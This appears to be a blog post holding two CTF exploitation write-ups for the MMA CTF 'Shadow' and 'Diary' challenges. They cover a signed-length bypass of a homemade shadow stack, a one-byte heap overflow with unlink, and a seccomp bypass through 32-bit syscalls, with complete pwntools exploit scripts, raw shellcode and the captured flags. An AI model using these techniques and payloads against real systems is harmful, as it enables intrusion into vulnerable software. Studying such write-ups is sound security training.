MMACTF 2nd Shadow Write up

I couldn’t solve this problem during the ctf, but it was a really nice challenge which demonstrated a pretty good concept. Let’s take a look at the binary.

$ checksec shadow

Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

If we look at the binary, we see that there’s a main function and then there’s a _main function which is called by main. Also call and ret seem to be functions rather than just instructions.

Looking through the call and ret functions, we see that they call the functions push and pop respectively. The call function pushes the saved ebp and the saved eip onto another memory page which in this case is the shadow stack. This memory page has, by default, no permissions either to be read from or to be written to. This page is made readable and writable only when required by the push and pop functions and then immediately changes it back to no permissions.

There are two buffers which the function uses. One is created by _main. This _main then calls message function which is basically the driver function. It has 3 arguments. I’ve named them as follows :

  1. name
  2. name_length
  3. loops

The message function has its own buffer which I’m gonna call msg. This function does the following

  • If the function has just started execution, ask for a name which will be stored in the name buffer.
  • Ask for a length
  • If length > 32, set length = 32 and read length bytes into msg.
  • Increment counter.
  • If counter >= loops, go to epilogue.
  • Else, prompt whether user wants to change name
  • If yes, read new name
  • Else, loop again.

The vulnerability lies in this part of code

0x080488A3    mov [ebp+n_bytes], eax
0x080488A6    cmp [ebp+n_bytes], 0x20
0x080488AA    jle short 0x80488B3
0x080488AC    mov [ebp+n_bytes], 0x20
0x080488B3     mov dword ptr [esp+4], 0x8048C8E

Here ebp+n_bytes is where the length entered by the user is saved. jle instruction is a signed comparison instruction. Which means that if we were to enter -1 as the length, we’d pass the check.

So first thing we could do would be to leak the value of the canary. But as you will see later on, that is not needed here.

The size of the name buffer is 16 bytes. Right after those 16 bytes are some pointers. The 4th pointer after the end of the name buffer is a pointer to the stack. So by giving a string of size 16 bytes, we can leak out that pointer.

Now we can overflow the msg using the above mentioned vulnerability and change the value of the name pointer. So after leaking out a pointer to the stack, the next objective is to change the value of the name pointer to the GOT table. This will leak out the address of a libc function which we can use later on.

We also need to make sure that we change the value of the loops and the name_length variables to some large value. Now we’ve got our weapons and intel. Next comes the attack.

As mentioned, we cannot overwrite entries of the GOT table, nor can we change the values in the shadow stack. We cannot even change the pointer to the shadow stack since it gets replaced by the program before executing a ret or a call.

So what we need to do is to find some function which actually uses a ret instruction rather than the ret() function.

The only function that does that would be libc functions.

So if we were to calculate the address of read‘s saved eip, we could use that to our advantage. The function prompts us whether or not we want to change the name. If we reply ‘y’, the function then proceeds to call getnline with the arguments name,name_length. This function then goes on to call read with the same arguments. So the idea would be to change the name pointer to the address where the saved eip of read would be stored and reply ‘y’ when prompted whether or not to change the name.

So we would change the saved return address of read while executing read and then we could return to an arbitrary address. Here we use the info leaks we mentioned before.

So putting it all together

  • Leak the pointer to the stack by filling the name buffer with 16 bytes.
  • Leak the address of some libc function by changing the name pointer to point to the GOT table.
  • Change the name pointer to the address where read‘s saved eip will be stored.
  • Reply ‘y’ when prompted whether or not to change name.
  • Send address of system + “AAAA” + address of /bin/sh

And yes that worked.

$ python exploit.py
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 18294: Done
[+] Read’s saved eip @ 0xfffa82ac
[+] Atoi @ 0xf75fc8e0
[*] Switching to interactive mode
$ ls
flag
shadow
$ cat flag
TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Sad that I couldn’t solve this problem during the CTF. But really enjoyed it.

Flag: TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Here’s the exploit script.

from pwn import *
p=process("shadow")
p.sendafter("name :","n"*16)
p.sendlineafter("length :","10")
p.sendlineafter("message :","A")
p.recvuntil("<")
p.recv(28)
read=u32(p.recv(4))-0x100
log.success("Read's saved eip @ "+hex(read))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(0x8049ff8),56:p32(0x100),60:p32(0x100)},length=64)
p.sendlineafter("message :",payload)
p.recvuntil("<")
atoi=u32(p.recv(4))
log.success("Atoi @ "+hex(atoi))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(read),56:p32(0x100),60:p32(0x100)},length=64,filler="A")
p.sendlineafter("message :",payload)

payload=p32(atoi+0xea30)+"A"*4+p32(atoi+0x12ef6c)
p.sendlineafter("name :",payload)
p.interactive()

MMA CTF’2nd Diary Write Up

First of all, good job admins. Loved the questions and the whole game went without a hitch. Well done !

Now on to the binary. Diary is a 64 bit binary with the following protections enabled.

$ checksec diary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

Now lets get into the details.

Looking at the functions in the binary, we see some of interest like init_heap, unlink_freelist, init_seccomp etc.

In the init_heap , we see this code:

void *init_heap()
{
void *result; // rax@1

result = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
mmaped_buf = result;

And then it goes on to set some global variables to the mmapped area. We can see here that the heap is created with the protections 7 which is read/write/execute. So possibility of return to shellcode here. But we’ll get to that later.

The objects

The binary creates an object which is something like below:

struct dates {
int date;
char *buffer;
dates *next;
dates *prev;
}

The pointers next and prev are set to an address in the bss if the next and/or previous objects do not exist.

Working

The binary maintains a linked list of the objects of the form as shown above. Each object is identified by the first 8 bytes which constitute the date it represents. Duplicate elements cannot be inserted into the linked list. The list is sorted according to the date.

Vuln

The vulnerability is fairly easy to spot in this case. It lies in the getnline function.

int getnline(void *buffer, int size){
unsigned int i; // [sp+18h] [bp-8h]@1
unsigned int n; // [sp+1Ch] [bp-4h]@1

n = read(0, buffer, size + 1);
for ( i = 0; i < n; ++i ){
if ( *(buffer + i) == '\n' ){
*(buffer + i) = 0;
return i;
}
}
return i;
}

As you can see, the read function’s third argument is size+1 which means that there is a single byte overflow. Now if we look at the free function, we can see that it implements the old vulnerable unlink method. So the method of exploit here is similar to the old unlink method except for a few variations.

Leak

So the next thing we need to be looking for is a memory leak. As we can see, in the structure definition objects contain pointers to the next and previous objects along with a pointer to the buffer. The size of the buffer chunk is under our control and the size of the structure object is 32. So my idea was to create two chunks of buffer size 32, delete both the objects, create one object of size 64. This means that the buffer of the newly created object would be able to stop just before the pointers stored in the previous second object. Although implementing this required us to create two extra objects so that the deleted object doesn’t get coalesced with the top chunk. So using this vuln we can leak out a pointer to the mmapped area.

Exploit

Now onto the exploit. The idea goes like this,

Use the single byte overflow in a buffer chunk to overwrite the size field of an object chunk. Make sure to set the PREV_INUSE bit of this object chunk so that we don’t need to bother about backward consolidation. The address of the next chunk is computed as follows.

next = ((*(ptr – 8) & 0xFFFFFFFFFFFFFFFELL) + ptr – 8);

Where ptr is the argument to free().

So if we set the size field correctly, the next pointer can be set to somewhere in the buffer chunk of that object. There we can create a fake chunk with its next and previous pointers set to locations we want. Here I decided to set these pointers to the GOT table and the address of another chunk which will contain shellcode.

So to wrap it up into one set of steps, here it goes.

  • Create 4 entries of buffer sizes 32.
  • Delete the 2nd and 3rd entries.
  • Create another entry of buffer size 64.
  • Print the last created object.
  • This leaks out a pointer to the mmapped area.
  • Now delete all the chunks created (Just felt like starting afresh)
  • Create one object with buffer size of 32.
  • Create another object with buffer size of 128.
  • This buffer will contain the fake chunk.
  • Create anther chunk of a large buffer size.
  • This chunk will contain the shellcode.
  • The size of the buffer chunk should be large enough so that it translates to a short jump instruction.
  • Delete the first chunk.
  • Create the first chunk again, this time with one extra byte in the buffer which will overwrite the size field of the the second object.
  • Delete the second object.

So all this seems fine and I was happy to find that the control flow does go into my shellcode. But it didn’t matter which shellcode I used, I couldn’t land a shell. That is when I noticed the init_seccomp function. The binary runs in a sandbox which does not allow syscalls like execve and open. So that’s why this challenge contains 300 points. We need to bypass this filter.

The vulnerability in this filter is that it does not filter out 32 bit syscalls. So it is possible to use a 32 bit shellcode which can land a shell. All 64 bit binaries can execute int 0x80 instructions. However normal shellcodes push the string `/bin/sh` on to the stack and then move the value of esp into ebx in order to execute execve syscall. However, here the stack addresses are 64 bit and using a random 32 bit shellcode could result in a segfault.

So we need to write a custom shellcode which moves the string /bin/sh onto a location that can be accessed by 32 bits and then use that address as argument. The challenge description says that we can use ./bash so I wrote the shellcode to do that.

And well, that worked and it landed a shell, but strangely I couldn’t execute an ls command in the shell. Running help gave me the following output.

$ help
GNU bash, version 4.4.0(1)-rc2 (x86_64-unknown-linux-gnu)
These shell commands are defined internally. Type `help’ to see this list.
Type `help name’ to find out more about the function `name’.
Use `info bash’ to find out more about the shell in general.
Use `man -k’ or `info’ to find out more about commands not in this list.

And then a whole lot of commands and their syntax. And trying cat flag or cat flag.txt didn’t work. So we needed to print out the contents of the directory without using ls. One way to do that would be echo * which did list out the contents.

$ echo *
bash diary flagflag_oh_i_found
$

And then simply running cat flagflag_oh_i_found didn’t really work. So we had to find another way to do that. So googling around, we found this method

$ read arr < flagflag_oh_i_found
$ echo $arr
TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}
$

And there you go.

Really nice challenge.

Flag:  TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}

Here’s the exploit script.

from pwn import *

def create(size,payload,date):
p.sendlineafter(">> ","1")
p.sendlineafter("... ",date)
p.sendlineafter("... ",str(size))
p.sendafter(">> ",payload)

def remove(date):
p.sendlineafter(">> ","3")
p.sendlineafter("... ",date)

def leak(date,n):
p.sendlineafter(">> ","2")
p.sendlineafter("... ",date)
p.recvline()
p.recv(n)
msg=p.recvline().strip("\n")
context.bits=48
addr=unpack(msg)-0x140
print "Leaked start of page ",hex(addr)
return addr

p=remote("pwn1.chal.ctf.westerns.tokyo",13856)
#p=process("diary")
atoi=0x602080
# Leaking the start of the page

create(32,"A"*8,"1970/1/2")
create(32,"B"*8,"1970/1/3")
create(32,"C"*8,"1970/1/4")
create(32,"D"*8,"1970/1/5")
remove("1970/1/4")
remove("1970/1/3")
create(64,"E"*40,"1970/1/3")
addr=leak("1970/1/3",40)
remove("1970/1/2")
remove("1970/1/3")
remove("1970/1/5")

# Exploit

create(32,"A"*8,"1970/1/1")
payload=fit({40:p64(0x19)+p64(atoi-16)+p64(addr+0x128)+p64(0x18)+p64(0x39)},length=128,filler="A")
create(128,payload,"1970/1/2")
shellcode="\xb8\x0b\x00\x00\x00\xbb\xa8\x20\x60\x00\xc7\x03\x2e\x2f\x62\x61\xc7\x43\x04\x73\x68\x00\x00\x31\xc9\x31\xd2\x31\xff\x31\xf6\xcd\x80"
create(3296,"\x90"*9+shellcode,"1970/1/3")
remove("1970/1/1")
create(32,"A"*32+"\x59","1970/1/1")
remove("1970/1/2")

p.recvuntil(">> ")
p.sendline("")
p.interactive()